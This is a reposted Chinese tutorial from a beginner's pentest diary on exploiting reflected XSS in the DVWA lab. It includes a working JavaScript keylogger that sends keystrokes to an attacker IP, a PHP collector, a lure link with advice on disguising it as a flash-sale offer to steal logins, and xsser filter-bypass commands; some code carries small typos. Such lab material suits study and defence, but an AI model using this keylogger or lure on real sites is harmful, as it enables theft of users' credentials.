小白日記48:kali滲透測試之Web滲透-XSS(二)-漏洞利用-鍵盤記錄器,xsser


XSS

原則上:只要XSS漏洞存在,可以編寫任何功能的js腳本

反射型漏洞利用】

鍵盤記錄器:被記錄下的數據會發送到攻擊者指定的URL地址上

服務器:kali    客戶端

啟動apache2服務:service apache2 start

 

語法:<script src="http://192.168.1.127/keylogger.js"></script>

keylogger.js    

 1 document.onkeypress = function(evt) {
 2         evt = evt || window.event
 3         key = String.fromCharCode(evt.charCode)
 4         if(key) {
 5                 var http = new XMLHttpRequest();
 6                 var param = encodeURI(key)
 7                 http.open("POST","http://192.168.1.127/keylogger.php",true);
 8                 http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
 9                 http.send("key="+param);
10         }
11 }
12 ~   

 

keylogger.php  【用來接受客戶端提交上來的數據】

1 <?php
2 $key=$_POST['key'];
3 $logfile="keylog.txt";
4 $fp = fopen($logfile,"a");
5 fwrite($fp,$key);
6 fclose($fp);
7 >

 

為避免被引起用戶懷疑,可將跳轉命令置於html文件中

前提:用戶已經登錄網站,獲得其cookie信息

#偽造誘人連接{如:限時搶購門票、手機等},轉到存在xss漏洞的頁面【主要危害為登錄頁面】,竊取用戶登錄賬號密碼

 

a.hmlt

1 <a href="http://192.168.1.107/dvwa/vulnerabilities/xss_r/?name=<scripr+src='http://192.168.56.102/keylogger.js'></script>">誘人字眼</a>

 

XSS利用工具

Xsser  【專門針對XSS漏洞,使用python編寫】

可使用圖形化界面  xsser --gtk  【不建議使用,界面不夠友好】

可繞過服務器端輸入篩選  【xss存在極其普遍】

1、編碼  10進制/16進制

2、函數:unecape()

簡單使用語法:xsser -u "http://192.168.56.101/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=31677b04bc31eac6cd78dbb1922e8028" -s -v --reverse-check

 

 

GET:將對應頁面和參數寫進-g參數中;POST:使用-P;-s:統計請求數;-v:顯示詳細信息;--reverse-check:禁止提交hash值方式驗證(此方法存在誤判)】

--heuristic  探測服務器,檢查被過濾的字符(會發送大量請求){腦洞:sql}  【所有過濾機制都是基於字符過濾】

 

對payload編碼,繞過服務器短篩選過濾  【過多編碼可能造成語義誤差】

 1   *Select Bypasser(s)*:
 2     These options can be used to encode selected vector(s) to try to
 3     bypass possible anti-XSS filters on target(s) code and possible IPS
 4     rules, if the target use it. Also, can be combined with other
 5     techniques to provide encoding:
 6 
 7     --Str               Use method String.FromCharCode()
 8     --Une               Use Unescape() function
 9     --Mix               Mix String.FromCharCode() and Unescape()
10     --Dec               Use Decimal encoding
11     --Hex               Use Hexadecimal encoding
12     --Hes               Use Hexadecimal encoding, with semicolons
13     --Dwo               Encode vectors IP addresses in DWORD
14     --Doo               Encode vectors IP addresses in Octal
15     --Cem=CEM           Try -manually- different Character Encoding Mutations
16                         (reverse obfuscation: good) -> (ex: 'Mix,Une,Str,Hex')

 

注入技術

 1   *Special Technique(s)*:
 2     These options can be used to try to inject code using different type
 3     of XSS techniques. You can choose multiple:
 4 
 5     --Coo               COO - Cross Site Scripting Cookie injection
 6     --Xsa               XSA - Cross Site Agent Scripting
 7     --Xsr               XSR - Cross Site Referer Scripting
 8     --Dcp               DCP - Data Control Protocol injections
 9     --Dom               DOM - Document Object Model injections
10     --Ind               IND - HTTP Response Splitting Induced code
11     --Anchor            ANC - Use Anchor Stealth payloader (DOM shadows!)
12     --Phpids            PHP - Exploit PHPIDS bug (0.6.5) to bypass filters

 

 1   *Select Final injection(s)*:
 2     These options can be used to specify the final code to inject in
 3     vulnerable target(s). Important, if you want to exploit on-the-wild
 4     your discovered vulnerabilities. Choose only one option:
 5 
 6     --Fp=FINALPAYLOAD   OWN    - Insert your final code to inject -manually-
 7     --Fr=FINALREMOTE    REMOTE - Insert your final code to inject -remotelly-
 8     --Doss              DOSs   - XSS Denial of service (server) injection
 9     --Dos               DOS    - XSS Denial of service (client) injection
10     --B64               B64    - Base64 code encoding in META tag (rfc2397)
11 
12   *Special Final injection(s)*:
13     These options can be used to execute some 'special' injection(s) in
14     vulnerable target(s). You can select multiple and combine with your
15     final code (except with DCP code):
16 
17     --Onm               ONM - Use onMouseMove() event to inject code
18     --Ifr               IFR - Use <iframe> source tag to inject code

 

源碼分析

低安全級別  【$_GET[]:直接回顯輸入的數據,不做任何過濾】

 1  <?php
 2 
 3 if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
 4 
 5  $isempty = true;
 6 
 7 } else {
 8         
 9  echo '<pre>';
10  echo 'Hello ' . $_GET['name'];
11  echo '</pre>';
12     
13 }
14 
15 ?> 

 

中安全級別  【在輸出時替換script為空,可拆分重整script為scriscriptpt】

 1  <?php
 2 
 3 if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
 4 
 5  $isempty = true;
 6 
 7 } else {
 8 
 9  echo '<pre>';
10  echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
11  echo '</pre>'; 
12 
13 }
14 
15 ?> 

 

高安全級別【htmlspecialchars():進行html編碼,目前最有效的方法(並非完全不可繞過【不需要尖括號的情況:如<a href=>】)】{可用burpsuite進行編碼}

 1  <?php
 2     
 3 if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
 4     
 5  $isempty = true;
 6         
 7 } else {
 8     
 9  echo '<pre>';
10  echo 'Hello ' . htmlspecialchars($_GET['name']);
11  echo '</pre>';
12         
13 }
14 
15 ?> 

 

 

  

  

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM